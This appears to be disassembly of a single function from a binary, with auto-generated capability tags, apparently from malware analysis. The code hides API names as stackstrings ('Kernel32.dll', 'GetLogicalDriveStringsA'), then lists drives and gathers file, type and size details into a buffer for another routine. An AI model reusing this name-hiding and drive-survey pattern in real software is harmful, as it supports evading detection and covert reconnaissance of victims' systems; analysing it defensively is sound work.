Function at 0x100059ae
Capabilities:
Contain obfuscated stackstrings
Get disk information
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7b8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x2c]
push edi
push eax
lea eax, [ebp - 0x14]
xor ebx, ebx
mov dword [ebp - 0x4c], ecx
push eax
mov byte [ebp - 0x14], 0x4b
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], bl
mov byte [ebp - 0x2c], 0x47
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x4c
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x67
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x61
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x44
mov byte [ebp - 0x21], 0x72
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x76
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x53
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x67
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x41
mov byte [ebp - 0x15], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
push 0x10001440
push eax
call esi
push eax
call edi
push 0x1000142c
push 0x1000141c
mov dword [ebp - 0x50], eax
call esi
push eax
call edi
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x258]
push eax
push pe_nt_image_headers32
mov byte [ebp - 0x7b8], 0x67
call dword [ebp - 4]
cmp byte [ebp - 0x258], bl
push 1
lea esi, [ebp - 0x258]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], ebx
pop edi
je 0x10005c0f
push 0x104
lea eax, [ebp - 0x158]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x158]
push 0x104
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
call dword [ebp - 0x50]
push 0x410
lea eax, [ebp - 0x3b8]
push 0x160
push eax
push 0x80
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [ebp - 0x2a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 4], eax
mov al, byte [esi]
cmp al, 0x41
je 0x10005b75
cmp al, 0x42
je 0x10005b75
lea eax, [ebp - 0x40]
push ebx
push eax
lea eax, [ebp - 0x48]
push eax
push esi
call dword [ebp - 0x54]
test eax, eax
je 0x10005b75
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 0x14
pop ecx
call fcn.100146d0
mov edx, dword [ebp - 0x44]
push 0x14
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x48]
pop ecx
call fcn.100146d0
mov dword [ebp - 0x38], eax
jmp 0x10005b7b
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], ebx
mov al, byte [esi]
push esi
mov byte [ebp + edi - 0x7b8], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [ebp + edi - 0x7b7], al
lea eax, [ebp - 0x34]
push 4
push eax
lea eax, [ebp + edi - 0x7b6]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x38]
push 4
push eax
lea eax, [ebp + edi - 0x7b2]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 0x30]
lea eax, [ebp - 0x2a8]
push eax
lea eax, [ebp + edi - 0x7ae]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 4]
lea eax, [ebp - 0x158]
push eax
mov eax, dword [ebp - 0x30]
add eax, edi
lea eax, [ebp + eax - 0x7ae]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x30]
add esp, 0x30
add eax, ecx
push esi
lea edi, [edi + eax + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [esi + eax + 1], bl
lea esi, [esi + eax + 1]
jne 0x10005acd
mov ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x7b8]
push edi
push eax
call fcn.1000a71f
pop edi
pop esi
pop ebx
leave
ret